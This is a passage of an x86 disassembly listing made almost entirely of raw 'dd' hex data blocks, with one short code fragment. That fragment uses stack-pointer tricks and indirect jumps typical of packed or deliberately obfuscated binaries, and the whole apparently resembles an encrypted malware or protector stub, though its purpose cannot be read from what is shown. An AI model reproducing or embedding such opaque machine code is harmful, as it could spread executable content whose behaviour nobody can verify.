2232108Fh, 1135AC66h, 2CC11566h dd 594398EDh, 0EBB71365h, 11349069h, 3DBB1566h, 42310817h dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 122F64D3h dd 7EAF9860h, 0BB341C2Dh, 72F1ECB5h, 982253EDh, 8B3228E3h dd 82B14D60h, 678F987Ah, 0BC341662h, 0AC165165h, 9D8F98CDh dd 8F34164Ch, 35165165h, 35BFBE36h, 4231081Fh, 67616CBh dd 0D26CBE4Eh, 47AF9830h, 0BB341C2Dh, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 4C4A88C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4383AEF8h, 0FD32DCF1h dd 0BA8C1C96h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 5D13B338h, 0DF07462Ch, 52A1ED0Bh, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0E519BC2Fh dd 3C52505Eh, 0B87A1711h, 0B977DDD3h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83314D74h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0EA17FB23h dd 25FB737Fh, 0FDF53FD5h, 7C3FF0ADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F4B97Ch, 0B7ECFFA0h dd 0C87D7C26h, 0F305E983h, 8DDB8BA4h, 9EDB6BDh, 9D8D8D06h dd 0B8060A08h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 0E5BD83C0h, 60304h, 0BD830975h dd 6032339h, 50197400h, 0B8C08B53h, 411h, 7398589h, 9D8D0603h dd 605B626h, 585BD3FFh, 2339BD83h, 74000603h, 0B8535017h dd 411h, 7398589h, 9D8D0603h, 605B2C7h, 585BD3FFh, 0F2BBC08Bh dd 0E84672A4h, 9, 142F24B5h, 0BF8BF90h, 0AAFBB9B6h, 0BA5E73C8h dd 4D32F373h, 64FAC681h, 810F0000h, 5, 78DFF9BBh, 190D6830h dd 8B660000h, 0AE95FCEh, 0E9000000h, 6B60E27Fh, 9059D4D3h dd 8A068B8Ah, 0FFF081EAh, 0B13A7C9Dh, 2DE8810Ah, 66088EFBh dd 0F081D18Bh, 11A108A8h, 3820Fh, 8B660000h, 0BE850DEh dd 0FB000000h, 62790B91h, 987754BBh, 0DB8167ECh, 7A13B6D4h dd 83068F5Bh, 0EE904EEh, 0E5000000h, 0F598E6A9h, 1A17C968h dd 0BFE8F2F5h, 1EF83C0h, 18850Fh, 0F08A0000h, 29E9h, 35991800h dd 0E276E705h, 0DCA3E9F1h, 61A3DCEAh, 0C9800DD0h, 0FF83E929h dd 1098FFFFh, 0CB52CC0h, 34A1E425h, 924AA4A1h, 4EB053Ch dd 1FDFE0A0h, 533E9h, 4CD5600h, 23F47A98h, 401199B7h, 632CB6D4h dd 8354D9F7h, 480C5817h, 6886F2C3h, 8AA814DDh, 0ABC935FEh dd 0E2E75324h, 4E056B36h, 0DFEDD01Bh, 2703B6Dh, 0F2D01B4Eh dd 939263E8h, 824D4598h, 0CE9F2432h, 0FE84D4CFh, 3B332E2Dh dd 0DEDDAE35h, 249061E6h, 0AFAE7F06h, 605F30B7h, 0DEAF3644h dd 3635068Eh, 0B73D433Bh, 0AC07E7E6h, 0AF8007AFh, 0D0992543h dd 0F1BA4664h, 3EC8D6F2h, 456B8954h, 0FE0BD611h, 0B9B1ACABh dd 605F28B3h, 9A666342h, 45579D68h, 121FD611h, 0BF88141Ah dd 0DDAE3553h, 5D65B69h, 0A3C580Dh, 1145313Fh, 0FE067D6h dd 34BC0C19h, 71696463h, 114545AEh, 0D6D3A8D6h, 39E38348h dd 7C8A5Ch, 56D90000h, 3FFE06CFh, 0D336D4B1h, 0A0CC8180h dd 0F2D611DCh, 0A8A09F68h, 34504F20h, 11DC0B69h, 0CEDEEBD6h dd 7B2623h, 54622E2Bh, 3FEFDCEh, 7AD41F0Bh, 15F5C39h, 0AE000000h dd 0FFD056h, 0B2B18208h, 686730BAh, 64302D88h, 0FC681D5Bh dd 544C1B47h, 0C8D6C84Eh, 0A68753Eh, 0EAD611F6h, 8B8A5BE0h dd 9BF23D90h, 5C44A49Fh, 6E8CF84Bh, 68AA16E7h, 4B056B36h dd 0E0EDD611h, 0D1561DE8h, 83090100h, 4605B3B2h, 0E46F7D49h dd 981D231Bh, 0BA4553C7h, 0FFF7F2F1h, 4638BFDDh, 1145757Bh dd 9DF0FDD6h, 4D1EA69Eh, 7047D4Eh, 39E16279h, 66B1BA5Ch dd 0ECE76D7Ch, 833B766Eh, 8A000000h, 0E708D156h, 105CACF5h dd 9010053h, 0D1B1B081h, 4CD17976h, 0C4CD0F7Bh, 0DBD96E4Ah dd 343A325Ah, 0C3DFDEAFh, 38E14BAh, 703BB5B5h, 0D6117002h dd 4792E5F2h, 8705190Ah, 90968E29h, 97C93D06h, 11E6A6CCh dd 49414ED6h, 4D4AC394h, 394224BFh, 64EF5Ch, 0D1DF0000h dd 27F87D4Bh, 0DBDA2D28h, 561DE8E0h, 7E8C00D1h, 7C3129F2h dd 0D632E60h, 0E5D61145h, 4EDAE0D8h, 747D8685h, 794ACF77h dd 0D0562A0Dh, 204B00FFh, 70D61145h, 231B1AEBh, 7849CE9Ch dd 141D2625h, 0CDF16C17h, 0E66E34BFh, 0C81B1615h, 456B8954h dd 0FE0BD611h, 0A02E2B06h, 5C39E32Bh, 1E2h, 0CE563100h dd 7F06FEFDh, 0B291AFAEh, 0B7850DB5h, 68605F30h, 6DC013DCh dd 0B14FB601h, 67B5723Dh, 0A3ADDC14h, 56515019h, 850C0403h dd 0E43740B4h, 0AF4F2B84h, 9DF0B945h, 0DE6583A5h, 1D590E0Dh dd 6ED01262h, 39C06865h, 57DEFC68h, 88F8786h, 2DB5C337h dd 0B8810C5Ch, 9E5D0BC0h, 0A172F9A1h, 0C4BA3135h, 50825A3Ah dd 126E6F85h, 0AAFA07D0h, 245F5720h, 0FDh, 24FC2973h, 491AA2B0h dd 2D574F4Ah, 145FC962h, 2094A1DCh, 0C6BE8712h, 5BE7F511h dd 0D949A92h, 858ED03Ch, 3CC0CDD1h, 0DDE3DB47h, 8E868556h dd 89373607h, 9E25CDCAh, 965D61CDh, 9D5A3A6Ch, 47h, 31F129ECh dd 7C087206h, 833768B3h, 0A26DE134h, 0D61102FCh, 0B3686774h dd 0D61102BDh, 8E13211Bh, 0EDEAC5BDh, 9E20E018h, 0C1D78587h dd 2CF76BBEh, 0D611C976h, 5885F1FEh, 7Dh, 9A68EEFCh, 0F1F04314h dd 3233FEF6h, 453F3500h, 0AAB7D611h, 82067FB2h, 9AF28Dh dd 40B40729h, 14D4BE75h, 0ACABB8DCh, 0F05C2DB4h, 7B7A4BD2h dd 1290A3C6h, 7280D8D0h, 25201FE8h, 0AD55522Dh, 9EE95526h dd 5A259967h, 0DA188707h, 0CBC3C2CFh, 69875244h, 9DA1CA7h dd 8CAAA9FCh, 0A2DBB0ADh, 715962D6h, 2FF8E008h, 723D675Fh dd 0D016CF6Fh, 5D66DAE7h, 3443B6D4h, 0C1E3DB5Ah, 3FC29DEh dd 11453A38h, 7CB5BAD6h, 13C8B64h, 0C450A0F3h, 234A8FBh dd 9F9E6FF4h, 98E9ACA4h, 0E0DC1B9Bh, 847C4DD2h, 0B0CCCBD8h dd 632E18A2h, 0D01B930Dh, 1185D8E5h, 1B932846h, 0C3BBC8D0h dd 0E16836BDh, 0F51BD10h, 0AEAD7601h, 2EB5BBB3h, 10425E5Dh dd 1B932F45h, 0CE99C7D0h, 0D01B93A0h, 0F8F04350h, 0EDE01335h dd 0E1A731E9h, 3A398C55h, 0D5CD5A47h, 52A25B9Bh, 4CFAF9CAh dd 0ADE5908Dh, 26AD5552h, 44CBE955h, 0F27C7473h, 0B883B529h dd 0C9F134BAh, 80352D3Ah, 9E263462h, 7A794AD0h, 322D2C7Fh dd 0BA625F3Ah, 0E5EE6233h, 4399BF8Ah, 30524AB1h, 0BBBA8B12h dd 3B4h, 3D54B700h, 504CD56h, 0B6B5860Dh, 6A6932BEh, 1F1EE772h dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h dd 4EC836Fh, 51242489h, 4B9h, 244C0100h, 0B6685904h, 8900004Ch dd 0EC81241Ch, 4, 50242C89h, 636EBF57h, 814F1CFBh, 401256F7h dd 85E7812Dh, 813D3433h, 3D3B4DCFh, 81DFF753h, 0CEA4F7C7h dd 5FF88985h, 2D06E8C1h, 604574F7h, 4004E0C1h, 782DE8D1h dd 89FA1C7Ah, 8B5458C3h, 0C483242Ch, 591C6804h, 1C890000h dd 8458F24h, 5D2434FFh, 4C481h, 1C8B0000h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0F96DF8E9h, 5721FBFFh, 7BD01F2Ah dd 0C9E027C5h, 0A0F98B8h, 0FFC50306h, 0A12E11E0h, 842EE265h dd 332DB25Bh, 6318174Fh, 73839D42h, 33EB1B56h, 9855FF49h dd 5723F552h, 25BD451Dh, 0A1678F6Ah, 92CE4874h, 4FE6F72Fh dd 4FC37D74h, 16DF4F2Dh, 0FC9D5B43h, 9204EB2Fh, 0E9500ED2h dd 564h, 1B8750D9h, 3AA677FDh, 57C3941Ch, 7AE6AF39h, 9A06D75Ch dd 46CB8FDBh, 60EB0975h, 810D2B97h, 0A72E4CB8h, 0B9656AD6h dd 1B5580EEh, 4F6270D0h, 0FFFECF56h, 45B18207h, 0D0CFA027h dd 818051D8h, 33320389h, 54A0A953h, 0DEAF3652h, 636B5C93h dd 0EB93906Bh, 0ED1F9364h, 898859DFh, 7573818Eh, 0F603D611h dd 4F4E1FA6h, 1C3A5C54h, 195BC790h, 844DD9E7h, 777D8A85h dd 0FFD61175h, 0BDB37EF2h, 35D61175h, 9E2A3028h, 53DED6D5h dd 3F6D8B8Ah, 0A9656136h, 5C57561Fh, 0EE6B2F11h, 5048199Eh dd 44D07875h, 6AF10F7Bh, 0F043149Ch, 0E4333CF1h, 6136D611h dd 421DD664h, 87185C39h, 8000000h, 0ACA475FAh, 9F2432E1h dd 60D4CFCEh, 11455F95h, 120A17D6h, 0B5B4850Ch, 569C6799h dd 0A0D61145h, 11459FD5h, 544A57D6h, 608C4F47h, 87D61145h dd 0AC27B5B2h, 675C39E3h, 1, 0FFD056B6h, 0B1820800h, 6730BAB2h dd 0A3DFEAF3h, 0B500C953h, 0D549D642h, 1145E40Ah, 877F8CD6h dd 3A48F2D2h, 0FEAE2B3h, 13E46A12h, 3E07919Fh, 0FB1C4C3Fh dd 309A591Bh, 81C3E5DDh, 16E844Fh, 0F906D611h, 0A374FB01h dd 0D1565437h, 70838C00h, 0C68F1AADh, 3739507Bh, 6D6FEEECh dd 3B33D23Ch, 1F616A86h, 786D0618h, 961C221Ah, 5918C6C5h dd 5E2FB45Ch, 7C4DD4F2h, 2CFD857Dh, 0E6E35C2Dh, 39F38358h dd 78D9B5Ch, 92033E36h, 52000000h, 0D69F2432h, 4E6102EEh dd 7B7ACDAFh, 0FD828880h, 0AD352D2Ch, 0A2FDDDDCh, 0A778FDA5h dd 0C7981D3Bh, 7D46D0C8h, 0DCE5AD7Eh, 0F35230C5h, 0E3AC37ECh dd 0E7B84090h, 1AF5EDE8h, 8F548F1Dh, 86DF5C39h, 2E000000h dd 14DFD156h, 0D61145DEh, 37368996h, 0FEC9B33Fh, 0D61145F0h dd 21207380h, 26B2C018h, 0E0DD660h, 0C6C1C013h, 2A22EB76h dd 5486524Fh, 11456B89h, 12DD0BD6h, 0D61145DCh, 3C348794h dd 5E8B136h, 0BDDC0AD8h, 30F983D3h, 77E33631h, 0FFD05694h dd 28F17D8Bh, 0ADC67B30h, 0EBD61145h, 41129866h, 6DF7EFEEh dd 939CA5A4h, 9B70EB96h, 92A0D29Eh, 0C72D3A0Bh, 0AFD61145h dd 35BEAAA2h, 5C39E3h, 1, 3500324Fh, 0D611453Fh, 0ACB2AAB7h dd 5C545324h, 0D0504D5h, 0C1B9B881h, 0B76F6E37h, 0DF670F0Ch dd 0C1140F0Eh, 0C76F6C4Bh, 0C0026E3Fh, 0E592AB2h, 71FAA235h dd 0EB1E16A8h, 9364E9B2h, 9AEDBE43h, 15DC5B26h, 8996DC14h dd 3A0B928Ah, 8F5A8CCEh, 0D012D161h, 60C0411h, 93AFAE7Fh dd 0E530F985h, 404FAFC0h, 0CCFC760h, 0D012EFE0h, 0DCDBAC32h dd 8E8D5EE4h, 0AB5653AEh, 9C44414Ah, 0EFC04715h, 36A2F5F0h dd 1BC89118h, 0C0891314h, 0F1516A75h, 20A79F9Eh, 0E3A2504Fh dd 0E6B73EE6h, 7A7D767Ah, 4FB85A3Ah, 7000001h, 0B024FC29h dd 73814C7Eh, 0A9D61145h, 4E5B5122h, 5F989356h, 0C5D2DC14h dd 7647CEC6h, 9F68F402h, 8BADA5A0h, 0A115E66Dh, 41400993h dd 0A1994E46h, 9C4A491Ah, 0B138E0DDh, 7B7074E0h, 0B25A3AF8h dd 5Fh, 4EE799A2h, 0B021AFEEh, 83CE40C9h, 23EE9108h, 0D0127ECDh dd 4D4598A5h, 29F12982h, 4534EAB5h, 0AFBCD611h, 44F5FBB0h dd 6963D611h, 535BCB60h, 0F5B4FFC8h, 2702FAB2h, 0C9505E2Ah dd 5DCD00F8h, 192759CDh, 7CAC293h, 0D6113C59h, 1E60CCD9h dd 3FD321ECh, 96A3D611h, 0AC899Eh, 298C0000h, 0E5B024FCh dd 0DC14674Eh, 241C1B28h, 179DAB9Dh, 3F4C4746h, 0D0126631h dd 1211E267h, 0A0142117h, 12669FD5h, 0F74A57D0h, 15E66D8Bh dd 65186116h, 0FA84D012h, 4B163231h, 0D0126125h, 0E670C0CDh dd 0BB661E1Dh, 0A9B213BEh, 0AC7D04ACh, 0A0322F38h, 2792E03Dh dd 83824BD7h, 2C6E9088h, 29503E23h, 2C7CF38Dh, 0DCD7D6A7h dd 0B474B1E4h, 5250DA43h, 1286D925h, 18B8A747h, 33323FDAh dd 0E4E3B43Bh, 15EAE7C6h, 6A9C10E8h, 800AD05Ch, 6ABDB8B7h dd 0B578706Bh, 0D016A831h, 232CA0ADh, 0D762E778h, 0C9140F0Eh dd 69612EAAh, 0FC296447h, 1E5B024h, 0DDDC1B55h, 0C24E5CD0h dd 7B02FAF9h, 5DB0ABAAh, 31B8B065h, 0A4B2F460h, 77FC4C1Dh dd 0B4ACA7A6h, 575627AEh, 1C1896A2h, 34318C2Ah, 1D25A68h dd 93ACC28Dh, 37448A1Fh, 0E1B2393Fh, 0FFD05775h, 0B57E0800h dd 0BCB998B6h, 50BC8D14h, 0DBDAAB32h, 5B2CB1BFh, 84E63h dd 0E4F20000h, 0CD989059h, 0CD563D54h, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 686F9D9Ch, 556Fh, 68241489h, 7491h, 51241C89h dd 0C181E189h, 4, 4E981h, 0C870000h, 34895C24h, 9BD5524h dd 0C14BE525h, 0E58105E5h, 0C1D7A0Bh, 485EE581h, 0ED811FBBh dd 0B4DFB019h, 815DEB89h, 2A5F64F3h, 348B5451h dd 4C48324h, 8904EC83h, 468F241Ch, 24348B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- dd 3A045F96h, 0AA9F0D28h, 0A155AB8h, 0FFC50306h, 8C26D3E0h dd 397DAF14h, 0E11CFA40h, 3E90777Eh, 40506E0Bh, 74CE0D5Ch dd 1D59568h, 72EF627h, 5A4D162Bh, 6CB3081Ch, 0C5DC8D2Fh dd 0C570B075h, 0D0642D36h, 0EAA3032Eh, 0BA244600h, 2D8BC02Fh dd 0B1BBC200h, 0FCE8D748h, 9BDE33Dh, 0EDE935h, 66600000h dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6032621h, 0F00FE83h dd 2285h, 0A185C600h, 4506031Bh, 72696968h, 0E1B5FF8Eh dd 8D060302h, 67C5885h, 89D0FF06h, 3077985h, 80F08B06h dd 850FE93Eh, 31h, 6792858Dh, 0D0FF0608h, 1C99BD8Bh, 0C7810603h dd 1184h, 2621B58Bh, 0F7870603h, 8B9h, 8BA4F300h, 32621B5h dd 71858D06h, 0FF06072Ah, 0F9B58BD0h, 8306030Fh, 850F00FEh dd 22h, 1BA185C6h, 68540603h, 0FF4EBEF4h, 2E1B5FFh, 858D0603h dd 6067C58h, 8589D0FFh, 6030FF9h, 3E80F08Bh, 3A850FE9h dd 8B000000h, 30FF9B5h, 92858D06h, 0FF060867h, 99BD8BD0h dd 8106031Ch, 1184C7h, 8C78300h, 0FF9B58Bh, 0F7870603h dd 8B9h, 8BA4F300h, 30FF9B5h, 71858D06h, 0FF06072Ah, 8DC361D0h dd 0A164185h, 89858906h, 0EB060326h, 8, 4AE81700h, 4ACE931h dd 57680000h, 0E9060A18h, 0FFF966CDh, 0A18F268h, 66C3E906h dd 1768FFF9h, 0E9060A1Ah, 0FFF966B9h, 0FF6B34BDh, 1E8A5BE1h dd 3BA77800h, 5ECA931Dh, 7EEABB40h, 2AAF73BFh, 44CFED59h dd 65F10F7Bh, 8B12309Ch, 9D494EBAh, 1B529CD2h, 334654D0h dd 8C00D156h, 2F27F87Eh, 0C5505E7Ah, 77FE04FCh, 0EAF83AA6h dd 440D9765h, 0FFF74A45h, 53C751CCh, 1465E388h, 407E83DCh dd 0C22F4F71h, 0E39897EAh, 0D0124D89h, 2AB8B52Eh, 5A3AEBA1h dd 2CF6Ch, 6E535C00h, 0FF45B9BFh, 3201CCC4h, 0D0CF9824h dd 589661D5h, 18D61145h, 0C7CA130Bh, 0CC22ED1Fh, 0A4D61145h dd 316C9F97h, 2F28F367h, 47DC1460h, 0CAF44042h, 6E297445h dd 3713C0Fh, 0F3D0129Dh, 104093E6h, 75733ABDh, 9C2836D5h dd 55DCD4D3h, 378A8584h, 7910C3Fh, 778FC893h, 1A27DF7Dh dd 0F18FF61Bh, 3C98B27Dh, 310D578h, 29FA818Fh, 47189FBDh dd 25CBF2F0h, 0E7EEEFD8h, 2F9h, 0EF5B24ADh, 0E7A4BD1h dd 2B9768F0h, 4EBA830Dh, 6EDAAB30h, 1A9F63AFh, 34BFDD49h dd 55E1FF6Bh, 7B02208Ch, 8D393EAAh, 1B5DACC2h, 233644D0h dd 0CF982432h, 9F79A4D7h, 5C5A602Bh, 939CDC1Bh, 99D789C8h dd 0E2257024h, 76AEF1E8h, 0FF09B5ADh, 0ADA8A778h, 0FD006E39h dd 0E3F0D01Bh, 820E1C90h, 8997C1B9h, 85C73304h, 2B23EC77h dd 5BCFA025h, 0F6F5C64Dh, 324E03FBh, 0AC4AA529h, 68B30ABCh dd 0A8C8104Bh, 0A4675FA4h, 0D01B2345h, 186F40C7h, 0CEC0B710h dd 5E192021h, 48000002h, 6C8AF6BFh, 8BA915E6h, 0A8C63203h dd 0CBE9551Eh, 4A097546h, 0E4B53AFEh, 6CF5A78h, 27F07C9Ah dd 45169DBBh, 5D28D4D9h, 0D01B5D17h, 29BED1DFh, 0E5B024FCh dd 0DC1B5CC7h, 0BF8D1321h, 19186B34h, 6D7A261Eh, 52BFB96Eh dd 8B04D01Bh, 0F0CB008Eh, 21535A33h, 1B5A1856h, 0D3CBD8D0h dd 15398h, 0CF56E700h, 8007FFFEh, 8DF843AFh, 9FB47FF3h dd 17DC144Ah, 31626612h, 81D1F0CAh, 322D2CF5h, 0C12BE0DFh dd 76D012DFh, 797200FDh, 0B45A3A7Dh, 31h, 7FBD9BA4h, 3EE7499Ch dd 0FC297B46h, 7FD29B27h, 687F400Bh, 0EAF7DC14h, 663C36EBh dd 881D012h, 0AA313F0Bh, 0FEF5E1D9h, 355A3AC0h, 99h, 0FECF5684h dd 6ECE818Ah, 2CCCE5D5h, 2877F34h, 0E4163231h, 11D0DB19h dd 968E9BD6h, 39380990h, 814D141Dh, 1E70E5Ah, 0AE7C0309h dd 9A065922h, 11239BBFh, 693AC1D6h, 8C4BB2FDh, 112BB3C1h dd 0E33643D6h, 9616A46Fh, 414EDC16h, 693ABFCDh, 895ADFFDh dd 0BC722032h, 3D4445CEh, 139h, 0AF1BE46Dh, 0CE3A0B91h dd 0EB5728B0h, 0E7A43CDh, 2E9A6BF0h, 0DA5F236Fh, 0F47F9D09h dd 15A1BF2Bh, 3BC2E04Ch, 4DF9FE6Ah, 1B5F6C82h, 0E3F604D0h dd 9400D156h, 0B21EEF76h, 0FECF56CFh, 0AF8007FFh, 9FF80143h dd 0C5817439h, 225B8E86h, 4417E256h, 0FEDC149Ah, 0EA6F7DF1h dd 74556D21h, 0BF12120Dh, 6685424Bh, 42F87D92h, 234D284Ah dd 4DD012E7h, 0E722501Bh, 0C5D2D012h, 6F40C7CDh, 35B8C103h dd 4B6BDABEh, 59DEE4DCh, 0AA828988h, 85000000h, 9F27FC29h dd 0F9077BCEh, 0AEA6A56Eh, 605B5A23h, 0B9EB150Dh, 605821ABh dd 1B5C139Dh, 47CFDDDCh, 0C5D27E76h, 7647CEC6h, 9465EC0Ah dd 2ECBE095h, 0A6310B58h, 61E6DEDDh, 0EA3D0E93h, 9B6CF3EBh dd 9E494625h, 79B3BC66h, 0BF6A884Eh, 514E2921h, 0DD5122A9h dd 6892E0ABh, 19E4EB5Ah, 0EB5A68DBh, 8E988E9Bh, 3B363506h dd 411298E8h, 2D4F4742h, 692BE2EBh, 33BB2C34h, 0DDAE353Bh dd 9C026069h, 0E3942411h, 0B43E36EBh, 0EFCEECEBh, 0F2C34AF2h dd 0AE3B4486h, 7D8B69E2h, 0FD848A82h, 87DAA32Fh, 38188h dd 54840000h, 4CD563Dh, 0B5860D05h, 6932BEB6h, 1EE7726Ah dd 0D1A2271Fh, 8455DAD2h, 3A038D85h, 0EABB433Bh, 9C6DF3EBh dd 89566F9Dh, 4C681E6h, 83000000h, 348704EEh, 1C895C24h dd 5D056824h, 34890000h, 4BD76824h, 1C890000h, 51B16824h dd 14890000h, 36666824h, 0C15A5E3Ch, 0D2F704E2h, 8238EA81h dd 0D6891632h, 1C8B545Ah, 4C48324h, 8B951h, 0D9010000h dd 0BB53h, 0CB010000h, 595B3389h, 57241C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815E24h, 4, 0F9622CE9h dd 75B805FFh, 3060A1Bh, 2EE0FFC5h, 58208327h, 12043C5Bh dd 0E3053C53h, 94398FCCh, 0F62D9B96h, 77158483h, 9A38B82Ch dd 427CFA4h, 17128FC3h, 6F541BD2h, 0C6558F71h, 0BB35E2E0h dd 48165D70h, 534A1DC2h, 8D466442h, 0A1D078Dh, 13E906h dd 0D3AD0000h, 0CF210316h, 57B86C0Dh, 0DEEF686Bh, 0E5033A81h dd 0DD958B4Bh, 89060316h, 320A58Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 5CEB0D9Ch dd 0C3C94CA0h, 1A6585C7h, 6B580603h, 858B0000h, 603046Dh dd 7185C7h, 603h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0AFE915C3h, 0F9C6D30h dd 0B5FFD0B7h, 6030C69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0A0C35545h, 0EB030007h, 8912F53Ah, 30709BDh dd 1D95FF06h, 9060317h, 329C185h, 0FF006A06h, 323A595h dd 0EBC08B06h, 0A76F7E38h, 0AE21C0FBh, 8CB45DAEh, 6BC2424h dd 0CA6F6B6Ch, 0B479E519h, 82E01A88h, 0A5B0F550h, 853B38F2h dd 0CFEC209Eh, 0A7A07D2Eh, 0A1B64F02h, 4B68A796h, 0BED582AFh dd 0CA04EBBCh, 0E93B8FA7h, 0D2Ah, 0A1F1B68h, 60C7E906h dd 1168FFF9h, 0E9060A20h, 0FFF960BDh, 0A220468h, 60B3E906h dd 568FFF9h, 0E9060A23h, 0FFF960A9h, 0A264268h, 609FE906h dd 6A68FFF9h, 0E9060A27h, 0FFF96095h, 0A289D68h, 608BE906h dd 62EBFFF9h, 890F2D99h, 0A62E4CB8h, 0C14B69D5h, 0E96E8CF8h dd 0A1EDAC18h, 1B8758DDh, 3DA972FDh, 5ECA931Fh, 7CE8B940h dd 0F200CB77h, 82D01B58h, 326174h, 11453F35h, 25ADB7D6h dd 75A5554h, 0B182090Fh, 6233BAB2h, 8B3E4763h dd 47994DCh, 0B440463Eh, 7036E1F3h, 0BA0D640Eh, 0C1BE9DBBh dd 8E5FE7F5h, 38099096h, 5829AECCh, 7647CEECh, 27F87F77h dd 6B3570BBh, 0ECE72CF7h, 828FDC14h, 0EEA4CE83h, 5119D012h dd 0F0EFB843h, 2522FDF5h, 0F3C44B59h, 1501F9F4h, 5A3A4CDEh dd 3955h, 0FC29A400h, 15F1062Ch, 0F84B8C44h, 26F6B984h dd 6370DC14h, 3445AF64h, 81FAD012h, 92FDF684h, 13385A3Ah dd 28000001h, 38C52BF6h, 0A0ADD012h, 3813612Ch, 0D6E3D012h dd 0CF5613DEh, 31B37E06h, 50A3DFA4h, 3D45951h, 0B7850C04h dd 0E0D6031h, 52BE8F16h, 11535277h, 22F37AD6h, 401198B6h dd 28F32541h, 0D6115BCAh, 5B13612Ch, 0D6E3D611h, 0D711DBE0h dd 9E6DF900h, 0A475FB4Bh, 7FB2AAA5h, 0D4067A06h, 3299D7A2h dd 4C59D611h, 288A9154h, 0FC2EDC14h, 12D4C331h, 0AEA6B3D0h dd 3E89F502h, 3F8341C7h, 37F05792h, 127E066Ch, 8EE1EED0h dd 3DFCC73Bh, 39DA15C1h, 0BB86B82Ch, 0DA19B4B5h, 0B4FEF4BFh dd 6976DA19h, 446E6673h, 74E0B136h, 0DEE52932h, 0CD0D46ECh dd 794ACFD5h, 0BF301E22h, 1F2627D4h, 0AB0h, 0B31FE871h dd 0D23E0F95h, 0EF5B2CB4h, 127E47D1h, 329E6FF4h, 0DE632773h dd 0F883A10Dh, 19A5C32Fh, 3FC6E450h, 51FD026Eh, 1B5A6886h dd 0E7FA08D0h, 0AA9C2432h, 114591DFh, 15461D6h, 0B57E0309h dd 0E88FE480h, 0F05CAFE0h, 67A4BD2h, 0A8A071F8h, 0FC29A386h dd 7FD29B27h, 687F400Bh, 0F2F7DC14h, 0BA0FF97h, 0D19C10FEh dd 0D012A9A3h, 0F4F34653h, 12A9353Fh, 0DDE63D0h, 0BF90160Eh dd 8885E0C0h, 6E14FFE5h, 5BAE91A9h, 2EBCB932h, 5A3AB9A5h dd 1AEB7381h, 9FE722h, 56360000h, 7FFFECFh, 0FDB2B182h dd 0D6114ADCh, 3CA87900h, 0C7C6971Eh, 299D7BA2h, 0F4FAC5F7h dd 7CD61140h, 0C6971F6Fh, 5A0C0BCEh, 1926DC14h, 5D3B62ADh dd 0D70A1EE9h, 3D4ADA15h, 6536BBC9h, 8B5CE3F1h, 4E1998Ch dd 1DFF1EF0h, 92B0D2CAh, 0D7E53C0Dh, 0F4D4BEB3h, 9BAECF3h dd 0DE670000h, 58BA915h, 22AAC834h, 3DC7E551h, 65EA0874h dd 1D692894h, 9703D459h, 0B925EE79h, 0DA460F9Bh, 0F86435BCh dd 767C47F3h, 0FED01B65h, 0D156DDF0h, 0EF769400h, 3E70B21Eh dd 11457D73h, 0F0E8F5D6h, 35003225h, 0D611453Fh, 0F05D65Dh dd 7D040A02h, 2EB5ADACh, 4503713Ch, 29ED611h, 9E4A0DAEh dd 0EB3E4B41h, 15343D7Fh, 832522C4h, 56F322Ah, 6FD6110Eh dd 685CE266h, 4FC712E3h, 0BCC2BA02h, 0B6F86435h, 89BBB984h dd 0F2BDD611h, 0D61189FCh, 64716774h, 0EDF666Ch, 0BF90170Fh dd 565312C0h, 0E25627AEh, 898FE5B0h, 5D67D611h, 0D0807D8h dd 9CA0C2BAh, 5C392F57h, 0ACDEh, 0FC292D00h, 453A3803h dd 0ADBAD611h, 0A6B4E65Ah, 94574F20h, 0DC145E47h, 757EF2FFh dd 0F8AF39A0h, 5207FF1Ah, 12F4539Dh, 726FE8D0h, 3A56EFE4h dd 77265Ah, 99750000h, 0D611455Eh, 188C1491h, 8051D8E6h dd 4533410Ch, 0B6C3D611h, 668CFBBEh, 7986DC14h, 9C6AEF0Dh dd 7CF04314h, 63CFD473h, 0A39BABB4h, 0C45CC9EEh, 28F68550h dd 0E4F2DA17h, 0E9958D5Eh, 878657DFh, 0AFCD398Ch, 3F5B5A23h dd 9340636h, 0B6AE12FFh, 0A7E1A83h, 12972C3Fh, 851F28D0h dd 